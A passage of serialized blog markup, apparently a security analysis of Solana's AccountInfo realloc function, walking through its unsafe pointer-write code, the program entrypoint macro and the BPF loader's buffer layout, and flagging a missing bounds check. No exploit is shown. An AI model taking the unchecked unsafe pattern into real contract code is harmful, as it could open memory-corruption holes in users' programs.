new_len",{"type":22,"tag":264,"props":15259,"children":15260},{"style":4293},[15261],{"type":27,"value":10123},{"type":22,"tag":264,"props":15263,"children":15264},{"style":4722},[15265],{"type":27,"value":7151},{"type":22,"tag":264,"props":15267,"children":15268},{"style":1539},[15269],{"type":27,"value":4322},{"type":22,"tag":264,"props":15271,"children":15272},{"class":1534,"line":1629},[15273],{"type":22,"tag":264,"props":15274,"children":15275},{"emptyLinePlaceholder":17},[15276],{"type":27,"value":4986},{"type":22,"tag":264,"props":15278,"children":15279},{"class":1534,"line":1642},[15280],{"type":22,"tag":264,"props":15281,"children":15282},{"style":4284},[15283],{"type":27,"value":15284},"        // Then set the new length in the local slice\n",{"type":22,"tag":264,"props":15286,"children":15287},{"class":1534,"line":1660},[15288,15292,15296,15300,15304,15308,15312,15317,15321,15325,15329,15333,15338,15343,15347,15351,15355,15359,15363,15367,15371,15375,15379,15383,15387,15391,15395,15399,15403,15407,15411],{"type":22,"tag":264,"props":15289,"children":15290},{"style":4293},[15291],{"type":27,"value":4365},{"type":22,"tag":264,"props":15293,"children":15294},{"style":1549},[15295],{"type":27,"value":15156},{"type":22,"tag":264,"props":15297,"children":15298},{"style":4309},[15299],{"type":27,"value":4312},{"type":22,"tag":264,"props":15301,"children":15302},{"style":4309},[15303],{"type":27,"value":8434},{"type":22,"tag":264,"props":15305,"children":15306},{"style":4293},[15307],{"type":27,"value":5035},{"type":22,"tag":264,"props":15309,"children":15310},{"style":4309},[15311],{"type":27,"value":11115},{"type":22,"tag":264,"props":15313,"children":15314},{"style":1539},[15315],{"type":27,"value":15316},"(((",{"type":22,"tag":264,"props":15318,"children":15319},{"style":4293},[15320],{"type":27,"value":15012},{"type":22,"tag":264,"props":15322,"children":15323},{"style":4309},[15324],{"type":27,"value":210},{"type":22,"tag":264,"props":15326,"children":15327},{"style":1539},[15328],{"type":27,"value":5013},{"type":22,"tag":264,"props":15330,"children":15331},{"style":4309},[15332],{"type":27,"value":210},{"type":22,"tag":264,"props":15334,"children":15335},{"style":4401},[15336],{"type":27,"value":15337},"as_ptr",{"type":22,"tag":264,"props":15339,"children":15340},{"style":1539},[15341],{"type":27,"value":15342},"() ",{"type":22,"tag":264,"props":15344,"children":15345},{"style":4293},[15346],{"type":27,"value":10137},{"type":22,"tag":264,"props":15348,"children":15349},{"style":4309},[15350],{"type":27,"value":11115},{"type":22,"tag":264,"props":15352,"children":15353},{"style":4293},[15354],{"type":27,"value":10953},{"type":22,"tag":264,"props":15356,"children":15357},{"style":4722},[15358],{"type":27,"value":7151},{"type":22,"tag":264,"props":15360,"children":15361},{"style":1539},[15362],{"type":27,"value":2806},{"type":22,"tag":264,"props":15364,"children":15365},{"style":4309},[15366],{"type":27,"value":210},{"type":22,"tag":264,"props":15368,"children":15369},{"style":4401},[15370],{"type":27,"value":15200},{"type":22,"tag":264,"props":15372,"children":15373},{"style":1539},[15374],{"type":27,"value":2660},{"type":22,"tag":264,"props":15376,"children":15377},{"style":4344},[15378],{"type":27,"value":602},{"type":22,"tag":264,"props":15380,"children":15381},{"style":1539},[15382],{"type":27,"value":4390},{"type":22,"tag":264,"props":15384,"children":15385},{"style":4293},[15386],{"type":27,"value":10137},{"type":22,"tag":264,"props":15388,"children":15389},{"style":4722},[15390],{"type":27,"value":7151},{"type":22,"tag":264,"props":15392,"children":15393},{"style":1539},[15394],{"type":27,"value":4390},{"type":22,"tag":264,"props":15396,"children":15397},{"style":4293},[15398],{"type":27,"value":10137},{"type":22,"tag":264,"props":15400,"children":15401},{"style":4309},[15402],{"type":27,"value":11115},{"type":22,"tag":264,"props":15404,"children":15405},{"style":4293},[15406],{"type":27,"value":5035},{"type":22,"tag":264,"props":15408,"children":15409},{"style":4722},[15410],{"type":27,"value":7151},{"type":22,"tag":264,"props":15412,"children":15413},{"style":1539},[15414],{"type":27,"value":5142},{"type":22,"tag":264,"props":15416,"children":15417},{"class":1534,"line":1668},[15418,15422,15426,15430,15434,15438,15442],{"type":22,"tag":264,"props":15419,"children":15420},{"style":4309},[15421],{"type":27,"value":9045},{"type":22,"tag":264,"props":15423,"children":15424},{"style":1549},[15425],{"type":27,"value":15248},{"type":22,"tag":264,"props":15427,"children":15428},{"style":4309},[15429],{"type":27,"value":4312},{"type":22,"tag":264,"props":15431,"children":15432},{"style":1549},[15433],{"type":27,"value":15257},{"type":22,"tag":264,"props":15435,"children":15436},{"style":4293},[15437],{"type":27,"value":10123},{"type":22,"tag":264,"props":15439,"children":15440},{"style":4722},[15441],{"type":27,"value":7151},{"type":22,"tag":264,"props":15443,"children":15444},{"style":1539},[15445],{"type":27,"value":4322},{"type":22,"tag":264,"props":15447,"children":15448},{"class":1534,"line":1677},[15449],{"type":22,"tag":264,"props":15450,"children":15451},{"style":1539},[15452],{"type":27,"value":1674},{"type":22,"tag":264,"props":15454,"children":15455},{"class":1534,"line":1686},[15456],{"type":22,"tag":264,"props":15457,"children":15458},{"emptyLinePlaceholder":17},[15459],{"type":27,"value":4986},{"type":22,"tag":264,"props":15461,"children":15462},{"class":1534,"line":4948},[15463],{"type":22,"tag":264,"props":15464,"children":15465},{"style":4284},[15466],{"type":27,"value":15467},"    // zero-init if requested\n",{"type":22,"tag":264,"props":15469,"children":15470},{"class":1534,"line":4957},[15471,15475,15480,15485,15489,15494,15498],{"type":22,"tag":264,"props":15472,"children":15473},{"style":4328},[15474],{"type":27,"value":13578},{"type":22,"tag":264,"props":15476,"children":15477},{"style":1549},[15478],{"type":27,"value":15479}," zero_init",{"type":22,"tag":264,"props":15481,"children":15482},{"style":4309},[15483],{"type":27,"value":15484}," &&",{"type":22,"tag":264,"props":15486,"children":15487},{"style":1549},[15488],{"type":27,"value":15257},{"type":22,"tag":264,"props":15490,"children":15491},{"style":4309},[15492],{"type":27,"value":15493}," >",{"type":22,"tag":264,"props":15495,"children":15496},{"style":1549},[15497],{"type":27,"value":15087},{"type":22,"tag":264,"props":15499,"children":15500},{"style":1539},[15501],{"type":27,"value":4594},{"type":22,"tag":264,"props":15503,"children":15504},{"class":1534,"line":4980},[15505,15510],{"type":22,"tag":264,"props":15506,"children":15507},{"style":4401},[15508],{"type":27,"value":15509},"        sol_memset",{"type":22,"tag":264,"props":15511,"children":15512},{"style":1539},[15513],{"type":27,"value":4767},{"type":22,"tag":264,"props":15515,"children":15516},{"class":1534,"line":4989},[15517,15521,15525,15529,15533,15537,15541,15545,15549,15554,15558],{"type":22,"tag":264,"props":15518,"children":15519},{"style":4309},[15520],{"type":27,"value":8978},{"type":22,"tag":264,"props":15522,"children":15523},{"style":4293},[15524],{"type":27,"value":5035},{"type":22,"tag":264,"props":15526,"children":15527},{"style":4293},[15528],{"type":27,"value":15096},{"type":22,"tag":264,"props":15530,"children":15531},{"style":4309},[15532],{"type":27,"value":210},{"type":22,"tag":264,"props":15534,"children":15535},{"style":4401},[15536],{"type":27,"value":15173},{"type":22,"tag":264,"props":15538,"children":15539},{"style":1539},[15540],{"type":27,"value":15178},{"type":22,"tag":264,"props":15542,"children":15543},{"style":4309},[15544],{"type":27,"value":4458},{"type":22,"tag":264,"props":15546,"children":15547},{"style":1539},[15548],{"type":27,"value":5045},{"type":22,"tag":264,"props":15550,"children":15551},{"style":1549},[15552],{"type":27,"value":15553},"orig_len",{"type":22,"tag":264,"props":15555,"children":15556},{"style":4309},[15557],{"type":27,"value":4352},{"type":22,"tag":264,"props":15559,"children":15560},{"style":1539},[15561],{"type":27,"value":15562},"],\n",{"type":22,"tag":264,"props":15564,"children":15565},{"class":1534,"line":4998},[15566,15571],{"type":22,"tag":264,"props":15567,"children":15568},{"style":4344},[15569],{"type":27,"value":15570},"            0",{"type":22,"tag":264,"props":15572,"children":15573},{"style":1539},[15574],{"type":27,"value":4812},{"type":22,"tag":264,"props":15576,"children":15577},{"class":1534,"line":5067},[15578,15583,15587,15592,15596,15600],{"type":22,"tag":264,"props":15579,"children":15580},{"style":1549},[15581],{"type":27,"value":15582},"            new_len",{"type":22,"tag":264,"props":15584,"children":15585},{"style":4309},[15586],{"type":27,"value":210},{"type":22,"tag":264,"props":15588,"children":15589},{"style":4401},[15590],{"type":27,"value":15591},"saturating_sub",{"type":22,"tag":264,"props":15593,"children":15594},{"style":1539},[15595],{"type":27,"value":2660},{"type":22,"tag":264,"props":15597,"children":15598},{"style":1549},[15599],{"type":27,"value":15553},{"type":22,"tag":264,"props":15601,"children":15602},{"style":1539},[15603],{"type":27,"value":8029},{"type":22,"tag":264,"props":15605,"children":15606},{"class":1534,"line":5075},[15607],{"type":22,"tag":264,"props":15608,"children":15609},{"style":1539},[15610],{"type":27,"value":9037},{"type":22,"tag":264,"props":15612,"children":15613},{"class":1534,"line":5105},[15614],{"type":22,"tag":264,"props":15615,"children":15616},{"style":1539},[15617],{"type":27,"value":1674},{"type":22,"tag":264,"props":15619,"children":15620},{"class":1534,"line":5113},[15621],{"type":22,"tag":264,"props":15622,"children":15623},{"emptyLinePlaceholder":17},[15624],{"type":27,"value":4986},{"type":22,"tag":264,"props":15626,"children":15627},{"class":1534,"line":5145},[15628,15633],{"type":22,"tag":264,"props":15629,"children":15630},{"style":4722},[15631],{"type":27,"value":15632},"    Ok",{"type":22,"tag":264,"props":15634,"children":15635},{"style":1539},[15636],{"type":27,"value":15637},"(())\n",{"type":22,"tag":264,"props":15639,"children":15640},{"class":1534,"line":5153},[15641],{"type":22,"tag":264,"props":15642,"children":15643},{"style":1539},[15644],{"type":27,"value":1692},{"type":22,"tag":23,"props":15646,"children":15647},{},[15648,15650,15656,15658,15663],{"type":27,"value":15649},"Oh. There's ",{"type":22,"tag":257,"props":15651,"children":15653},{"className":15652},[],[15654],{"type":27,"value":15655},"unsafe",{"type":27,"value":15657},". And no bounds check in sight. ",{"type":22,"tag":1699,"props":15659,"children":15660},{},[15661],{"type":27,"value":15662},"And",{"type":27,"value":15664}," pointer math. That doesn't look promising...",{"type":22,"tag":169,"props":15666,"children":15668},{"id":15667},"breaking-down-realloc",[15669,15671],{"type":27,"value":15670},"Breaking down ",{"type":22,"tag":257,"props":15672,"children":15674},{"className":15673},[],[15675],{"type":27,"value":14937},{"type":22,"tag":23,"props":15677,"children":15678},{},[15679,15681,15686],{"type":27,"value":15680},"Let's pick apart this ",{"type":22,"tag":257,"props":15682,"children":15684},{"className":15683},[],[15685],{"type":27,"value":15655},{"type":27,"value":15687}," block, since there's a lot going on here.",{"type":22,"tag":618,"props":15689,"children":15691},{"className":4274,"code":15690,"language":4273,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[15692],{"type":22,"tag":257,"props":15693,"children":15694},{"__ignoreMap":7},[15695,15703,15790],{"type":22,"tag":264,"props":15696,"children":15697},{"class":1534,"line":1535},[15698],{"type":22,"tag":264,"props":15699,"children":15700},{"style":4284},[15701],{"type":27,"value":15702},"// First set new length in the serialized data\n",{"type":22,"tag":264,"props":15704,"children":15705},{"class":1534,"line":1545},[15706,15710,15714,15718,15722,15726,15730,15734,15738,15742,15746,15750,15754,15758,15762,15766,15770,15774,15778,15782,15786],{"type":22,"tag":264,"props":15707,"children":15708},{"style":4293},[15709],{"type":27,"value":13086},{"type":22,"tag":264,"props":15711,"children":15712},{"style":1549},[15713],{"type":27,"value":15156},{"type":22,"tag":264,"props":15715,"children":15716},{"style":4309},[15717],{"type":27,"value":4312},{"type":22,"tag":264,"props":15719,"children":15720},{"style":4293},[15721],{"type":27,"value":15096},{"type":22,"tag":264,"props":15723,"children":15724},{"style":4309},[15725],{"type":27,"value":210},{"type":22,"tag":264,"props":15727,"children":15728},{"style":4401},[15729],{"type":27,"value":15173},{"type":22,"tag":264,"props":15731,"children":15732},{"style":1539},[15733],{"type":27,"value":15178},{"type":22,"tag":264,"props":15735,"children":15736},{"style":4309},[15737],{"type":27,"value":4435},{"type":22,"tag":264,"props":15739,"children":15740},{"style":4401},[15741],{"type":27,"value":15187},{"type":22,"tag":264,"props":15743,"children":15744},{"style":1539},[15745],{"type":27,"value":15178},{"type":22,"tag":264,"props":15747,"children":15748},{"style":4309},[15749],{"type":27,"value":210},{"type":22,"tag":264,"props":15751,"children":15752},{"style":4401},[15753],{"type":27,"value":15200},{"type":22,"tag":264,"props":15755,"children":15756},{"style":1539},[15757],{"type":27,"value":2660},{"type":22,"tag":264,"props":15759,"children":15760},{"style":4309},[15761],{"type":27,"value":5621},{"type":22,"tag":264,"props":15763,"children":15764},{"style":4344},[15765],{"type":27,"value":5378},{"type":22,"tag":264,"props":15767,"children":15768},{"style":1539},[15769],{"type":27,"value":4390},{"type":22,"tag":264,"props":15771,"children":15772},{"style":4293},[15773],{"type":27,"value":10137},{"type":22,"tag":264,"props":15775,"children":15776},{"style":4309},[15777],{"type":27,"value":11115},{"type":22,"tag":264,"props":15779,"children":15780},{"style":4293},[15781],{"type":27,"value":5035},{"type":22,"tag":264,"props":15783,"children":15784},{"style":4722},[15785],{"type":27,"value":7151},{"type":22,"tag":264,"props":15787,"children":15788},{"style":1539},[15789],{"type":27,"value":4322},{"type":22,"tag":264,"props":15791,"children":15792},{"class":1534,"line":1560},[15793,15797,15801,15805,15809,15813,15817],{"type":22,"tag":264,"props":15794,"children":15795},{"style":4309},[15796],{"type":27,"value":5865},{"type":22,"tag":264,"props":15798,"children":15799},{"style":1549},[15800],{"type":27,"value":15248},{"type":22,"tag":264,"props":15802,"children":15803},{"style":4309},[15804],{"type":27,"value":4312},{"type":22,"tag":264,"props":15806,"children":15807},{"style":1549},[15808],{"type":27,"value":15257},{"type":22,"tag":264,"props":15810,"children":15811},{"style":4293},[15812],{"type":27,"value":10123},{"type":22,"tag":264,"props":15814,"children":15815},{"style":4722},[15816],{"type":27,"value":7151},{"type":22,"tag":264,"props":15818,"children":15819},{"style":1539},[15820],{"type":27,"value":4322},{"type":22,"tag":23,"props":15822,"children":15823},{},[15824,15829],{"type":22,"tag":257,"props":15825,"children":15827},{"className":15826},[],[15828],{"type":27,"value":15173},{"type":27,"value":15830}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":22,"tag":181,"props":15832,"children":15834},{"id":15833},"bpf-loader-abi",[15835],{"type":27,"value":15836},"BPF Loader ABI",{"type":22,"tag":23,"props":15838,"children":15839},{},[15840,15842,15847,15849,15862],{"type":27,"value":15841},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":22,"tag":257,"props":15843,"children":15845},{"className":15844},[],[15846],{"type":27,"value":14952},{"type":27,"value":15848},"'s entrypoint code - the code that's added when you use the ",{"type":22,"tag":69,"props":15850,"children":15853},{"href":15851,"rel":15852},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[73],[15854,15860],{"type":22,"tag":257,"props":15855,"children":15857},{"className":15856},[],[15858],{"type":27,"value":15859},"entrypoint!",{"type":27,"value":15861}," macro",{"type":27,"value":5785},{"type":22,"tag":618,"props":15864,"children":15866},{"className":4274,"code":15865,"language":4273,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[15867],{"type":22,"tag":257,"props":15868,"children":15869},{"__ignoreMap":7},[15870,15878,15950,15993,16045,16104,16147,16190,16197],{"type":22,"tag":264,"props":15871,"children":15872},{"class":1534,"line":1535},[15873],{"type":22,"tag":264,"props":15874,"children":15875},{"style":1539},[15876],{"type":27,"value":15877},"#[no_mangle]\n",{"type":22,"tag":264,"props":15879,"children":15880},{"class":1534,"line":1545},[15881,15885,15890,15895,15900,15904,15909,15913,15917,15921,15925,15929,15934,15938,15942,15946],{"type":22,"tag":264,"props":15882,"children":15883},{"style":4293},[15884],{"type":27,"value":14989},{"type":22,"tag":264,"props":15886,"children":15887},{"style":4293},[15888],{"type":27,"value":15889}," unsafe",{"type":22,"tag":264,"props":15891,"children":15892},{"style":4293},[15893],{"type":27,"value":15894}," extern",{"type":22,"tag":264,"props":15896,"children":15897},{"style":1597},[15898],{"type":27,"value":15899}," \"C\"",{"type":22,"tag":264,"props":15901,"children":15902},{"style":4293},[15903],{"type":27,"value":14994},{"type":22,"tag":264,"props":15905,"children":15906},{"style":4401},[15907],{"type":27,"value":15908}," entrypoint",{"type":22,"tag":264,"props":15910,"children":15911},{"style":1539},[15912],{"type":27,"value":2660},{"type":22,"tag":264,"props":15914,"children":15915},{"style":1549},[15916],{"type":27,"value":9661},{"type":22,"tag":264,"props":15918,"children":15919},{"style":4309},[15920],{"type":27,"value":5785},{"type":22,"tag":264,"props":15922,"children":15923},{"style":4309},[15924],{"type":27,"value":11115},{"type":22,"tag":264,"props":15926,"children":15927},{"style":4293},[15928],{"type":27,"value":5035},{"type":22,"tag":264,"props":15930,"children":15931},{"style":4722},[15932],{"type":27,"value":15933}," u8",{"type":22,"tag":264,"props":15935,"children":15936},{"style":1539},[15937],{"type":27,"value":4390},{"type":22,"tag":264,"props":15939,"children":15940},{"style":4309},[15941],{"type":27,"value":15056},{"type":22,"tag":264,"props":15943,"children":15944},{"style":4722},[15945],{"type":27,"value":7151},{"type":22,"tag":264,"props":15947,"children":15948},{"style":1539},[15949],{"type":27,"value":4594},{"type":22,"tag":264,"props":15951,"children":15952},{"class":1534,"line":1560},[15953,15957,15961,15966,15970,15975,15979,15984,15988],{"type":22,"tag":264,"props":15954,"children":15955},{"style":4293},[15956],{"type":27,"value":4296},{"type":22,"tag":264,"props":15958,"children":15959},{"style":1539},[15960],{"type":27,"value":4370},{"type":22,"tag":264,"props":15962,"children":15963},{"style":1549},[15964],{"type":27,"value":15965},"program_id",{"type":22,"tag":264,"props":15967,"children":15968},{"style":1539},[15969],{"type":27,"value":4380},{"type":22,"tag":264,"props":15971,"children":15972},{"style":1549},[15973],{"type":27,"value":15974},"accounts",{"type":22,"tag":264,"props":15976,"children":15977},{"style":1539},[15978],{"type":27,"value":4380},{"type":22,"tag":264,"props":15980,"children":15981},{"style":1549},[15982],{"type":27,"value":15983},"instruction_data",{"type":22,"tag":264,"props":15985,"children":15986},{"style":1539},[15987],{"type":27,"value":4390},{"type":22,"tag":264,"props":15989,"children":15990},{"style":4309},[15991],{"type":27,"value":15992},"=\n",{"type":22,"tag":264,"props":15994,"children":15995},{"class":1534,"line":1569},[15996,16001,16005,16009,16014,16018,16023,16027,16032,16036,16040],{"type":22,"tag":264,"props":15997,"children":15998},{"style":4293},[15999],{"type":27,"value":16000},"        unsafe",{"type":22,"tag":264,"props":16002,"children":16003},{"style":1539},[16004],{"type":27,"value":10884},{"type":22,"tag":264,"props":16006,"children":16007},{"style":4309},[16008],{"type":27,"value":731},{"type":22,"tag":264,"props":16010,"children":16011},{"style":4293},[16012],{"type":27,"value":16013},"crate",{"type":22,"tag":264,"props":16015,"children":16016},{"style":4309},[16017],{"type":27,"value":4785},{"type":22,"tag":264,"props":16019,"children":16020},{"style":1539},[16021],{"type":27,"value":16022},"entrypoint",{"type":22,"tag":264,"props":16024,"children":16025},{"style":4309},[16026],{"type":27,"value":4785},{"type":22,"tag":264,"props":16028,"children":16029},{"style":4401},[16030],{"type":27,"value":16031},"deserialize",{"type":22,"tag":264,"props":16033,"children":16034},{"style":1539},[16035],{"type":27,"value":2660},{"type":22,"tag":264,"props":16037,"children":16038},{"style":1549},[16039],{"type":27,"value":9661},{"type":22,"tag":264,"props":16041,"children":16042},{"style":1539},[16043],{"type":27,"value":16044},") };\n",{"type":22,"tag":264,"props":16046,"children":16047},{"class":1534,"line":1583},[16048,16053,16058,16063,16067,16071,16075,16079,16083,16087,16091,16095,16099],{"type":22,"tag":264,"props":16049,"children":16050},{"style":4328},[16051],{"type":27,"value":16052},"    match",{"type":22,"tag":264,"props":16054,"children":16055},{"style":4309},[16056],{"type":27,"value":16057}," $",{"type":22,"tag":264,"props":16059,"children":16060},{"style":1549},[16061],{"type":27,"value":16062},"process_instruction",{"type":22,"tag":264,"props":16064,"children":16065},{"style":1539},[16066],{"type":27,"value":2660},{"type":22,"tag":264,"props":16068,"children":16069},{"style":4309},[16070],{"type":27,"value":4413},{"type":22,"tag":264,"props":16072,"children":16073},{"style":1549},[16074],{"type":27,"value":15965},{"type":22,"tag":264,"props":16076,"children":16077},{"style":1539},[16078],{"type":27,"value":4380},{"type":22,"tag":264,"props":16080,"children":16081},{"style":4309},[16082],{"type":27,"value":4413},{"type":22,"tag":264,"props":16084,"children":16085},{"style":1549},[16086],{"type":27,"value":15974},{"type":22,"tag":264,"props":16088,"children":16089},{"style":1539},[16090],{"type":27,"value":4380},{"type":22,"tag":264,"props":16092,"children":16093},{"style":4309},[16094],{"type":27,"value":4413},{"type":22,"tag":264,"props":16096,"children":16097},{"style":1549},[16098],{"type":27,"value":15983},{"type":22,"tag":264,"props":16100,"children":16101},{"style":1539},[16102],{"type":27,"value":16103},") {\n",{"type":22,"tag":264,"props":16105,"children":16106},{"class":1534,"line":1603},[16107,16112,16117,16122,16126,16130,16134,16138,16142],{"type":22,"tag":264,"props":16108,"children":16109},{"style":4722},[16110],{"type":27,"value":16111},"        Ok",{"type":22,"tag":264,"props":16113,"children":16114},{"style":1539},[16115],{"type":27,"value":16116},"(()) ",{"type":22,"tag":264,"props":16118,"children":16119},{"style":4309},[16120],{"type":27,"value":16121},"=>",{"type":22,"tag":264,"props":16123,"children":16124},{"style":4309},[16125],{"type":27,"value":16057},{"type":22,"tag":264,"props":16127,"children":16128},{"style":4293},[16129],{"type":27,"value":16013},{"type":22,"tag":264,"props":16131,"children":16132},{"style":4309},[16133],{"type":27,"value":4785},{"type":22,"tag":264,"props":16135,"children":16136},{"style":1539},[16137],{"type":27,"value":16022},{"type":22,"tag":264,"props":16139,"children":16140},{"style":4309},[16141],{"type":27,"value":4785},{"type":22,"tag":264,"props":16143,"children":16144},{"style":1539},[16145],{"type":27,"value":16146},"SUCCESS,\n",{"type":22,"tag":264,"props":16148,"children":16149},{"class":1534,"line":1612},[16150,16155,16159,16164,16168,16172,16177,16181,16186],{"type":22,"tag":264,"props":16151,"children":16152},{"style":4722},[16153],{"type":27,"value":16154},"        Err",{"type":22,"tag":264,"props":16156,"children":16157},{"style":1539},[16158],{"type":27,"value":2660},{"type":22,"tag":264,"props":16160,"children":16161},{"style":1549},[16162],{"type":27,"value":16163},"error",{"type":22,"tag":264,"props":16165,"children":16166},{"style":1539},[16167],{"type":27,"value":4390},{"type":22,"tag":264,"props":16169,"children":16170},{"style":4309},[16171],{"type":27,"value":16121},{"type":22,"tag":264,"props":16173,"children":16174},{"style":1549},[16175],{"type":27,"value":16176}," error",{"type":22,"tag":264,"props":16178,"children":16179},{"style":4309},[16180],{"type":27,"value":210},{"type":22,"tag":264,"props":16182,"children":16183},{"style":4401},[16184],{"type":27,"value":16185},"into",{"type":22,"tag":264,"props":16187,"children":16188},{"style":1539},[16189],{"type":27,"value":4795},{"type":22,"tag":264,"props":16191,"children":16192},{"class":1534,"line":1621},[16193],{"type":22,"tag":264,"props":16194,"children":16195},{"style":1539},[16196],{"type":27,"value":1674},{"type":22,"tag":264,"props":16198,"children":16199},{"class":1534,"line":1629},[16200],{"type":22,"tag":264,"props":16201,"children":16202},{"style":1539},[16203],{"type":27,"value":1692},{"type":22,"tag":23,"props":16205,"children":16206},{},[16207,16209,16214,16216,16222,16224,16231,16233,16239,16241,16248],{"type":27,"value":16208},"What we see here is the contract's real entrypoint - it takes a ",{"type":22,"tag":257,"props":16210,"children":16212},{"className":16211},[],[16213],{"type":27,"value":4725},{"type":27,"value":16215}," buffer in from the loader, and calls ",{"type":22,"tag":257,"props":16217,"children":16219},{"className":16218},[],[16220],{"type":27,"value":16221},"solana_program::entrypoint::deserialize",{"type":27,"value":16223},", which then ",{"type":22,"tag":69,"props":16225,"children":16228},{"href":16226,"rel":16227},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[73],[16229],{"type":27,"value":16230},"parses out",{"type":27,"value":16232}," all the ",{"type":22,"tag":257,"props":16234,"children":16236},{"className":16235},[],[16237],{"type":27,"value":16238},"AccountInfo",{"type":27,"value":16240},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":22,"tag":69,"props":16242,"children":16245},{"href":16243,"rel":16244},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[73],[16246],{"type":27,"value":16247},"laid out",{"type":27,"value":5785},{"type":22,"tag":618,"props":16250,"children":16252},{"className":4274,"code":16251,"language":4273,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[16253],{"type":22,"tag":257,"props":16254,"children":16255},{"__ignoreMap":7},[16256,16273,16353,16386,16393,16441,16486,16494,16518],{"type":22,"tag":264,"props":16257,"children":16258},{"class":1534,"line":1535},[16259,16264,16268],{"type":22,"tag":264,"props":16260,"children":16261},{"style":1539},[16262],{"type":27,"value":16263},"#[allow(clippy",{"type":22,"tag":264,"props":16265,"children":16266},{"style":4309},[16267],{"type":27,"value":4785},{"type":22,"tag":264,"props":16269,"children":16270},{"style":1539},[16271],{"type":27,"value":16272},"cast_ptr_alignment)]\n",{"type":22,"tag":264,"props":16274,"children":16275},{"class":1534,"line":1545},[16276,16280,16285,16289,16293,16297,16301,16305,16309,16313,16317,16321,16325,16329,16333,16337,16341,16345,16349],{"type":22,"tag":264,"props":16277,"children":16278},{"style":4293},[16279],{"type":27,"value":13086},{"type":22,"tag":264,"props":16281,"children":16282},{"style":1549},[16283],{"type":27,"value":16284}," data_len",{"type":22,"tag":264,"props":16286,"children":16287},{"style":4309},[16288],{"type":27,"value":4312},{"type":22,"tag":264,"props":16290,"children":16291},{"style":4309},[16292],{"type":27,"value":11115},{"type":22,"tag":264,"props":16294,"children":16295},{"style":1539},[16296],{"type":27,"value":2660},{"type":22,"tag":264,"props":16298,"children":16299},{"style":1549},[16300],{"type":27,"value":9661},{"type":22,"tag":264,"props":16302,"children":16303},{"style":4309},[16304],{"type":27,"value":210},{"type":22,"tag":264,"props":16306,"children":16307},{"style":4401},[16308],{"type":27,"value":10936},{"type":22,"tag":264,"props":16310,"children":16311},{"style":1539},[16312],{"type":27,"value":2660},{"type":22,"tag":264,"props":16314,"children":16315},{"style":1549},[16316],{"type":27,"value":15200},{"type":22,"tag":264,"props":16318,"children":16319},{"style":1539},[16320],{"type":27,"value":4390},{"type":22,"tag":264,"props":16322,"children":16323},{"style":4293},[16324],{"type":27,"value":10137},{"type":22,"tag":264,"props":16326,"children":16327},{"style":4309},[16328],{"type":27,"value":11115},{"type":22,"tag":264,"props":16330,"children":16331},{"style":4293},[16332],{"type":27,"value":10953},{"type":22,"tag":264,"props":16334,"children":16335},{"style":4722},[16336],{"type":27,"value":7151},{"type":22,"tag":264,"props":16338,"children":16339},{"style":1539},[16340],{"type":27,"value":4390},{"type":22,"tag":264,"props":16342,"children":16343},{"style":4293},[16344],{"type":27,"value":10137},{"type":22,"tag":264,"props":16346,"children":16347},{"style":4722},[16348],{"type":27,"value":15030},{"type":22,"tag":264,"props":16350,"children":16351},{"style":1539},[16352],{"type":27,"value":4322},{"type":22,"tag":264,"props":16354,"children":16355},{"class":1534,"line":1560},[16356,16360,16365,16370,16374,16378,16382],{"type":22,"tag":264,"props":16357,"children":16358},{"style":1549},[16359],{"type":27,"value":15200},{"type":22,"tag":264,"props":16361,"children":16362},{"style":4309},[16363],{"type":27,"value":16364}," +=",{"type":22,"tag":264,"props":16366,"children":16367},{"style":4401},[16368],{"type":27,"value":16369}," size_of",{"type":22,"tag":264,"props":16371,"children":16372},{"style":4309},[16373],{"type":27,"value":4785},{"type":22,"tag":264,"props":16375,"children":16376},{"style":1539},[16377],{"type":27,"value":7097},{"type":22,"tag":264,"props":16379,"children":16380},{"style":4722},[16381],{"type":27,"value":9336},{"type":22,"tag":264,"props":16383,"children":16384},{"style":1539},[16385],{"type":27,"value":9746},{"type":22,"tag":264,"props":16387,"children":16388},{"class":1534,"line":1569},[16389],{"type":22,"tag":264,"props":16390,"children":16391},{"emptyLinePlaceholder":17},[16392],{"type":27,"value":4986},{"type":22,"tag":264,"props":16394,"children":16395},{"class":1534,"line":1583},[16396,16400,16405,16409,16414,16418,16423,16428,16432,16436],{"type":22,"tag":264,"props":16397,"children":16398},{"style":4293},[16399],{"type":27,"value":13086},{"type":22,"tag":264,"props":16401,"children":16402},{"style":1549},[16403],{"type":27,"value":16404}," data",{"type":22,"tag":264,"props":16406,"children":16407},{"style":4309},[16408],{"type":27,"value":4312},{"type":22,"tag":264,"props":16410,"children":16411},{"style":4722},[16412],{"type":27,"value":16413}," 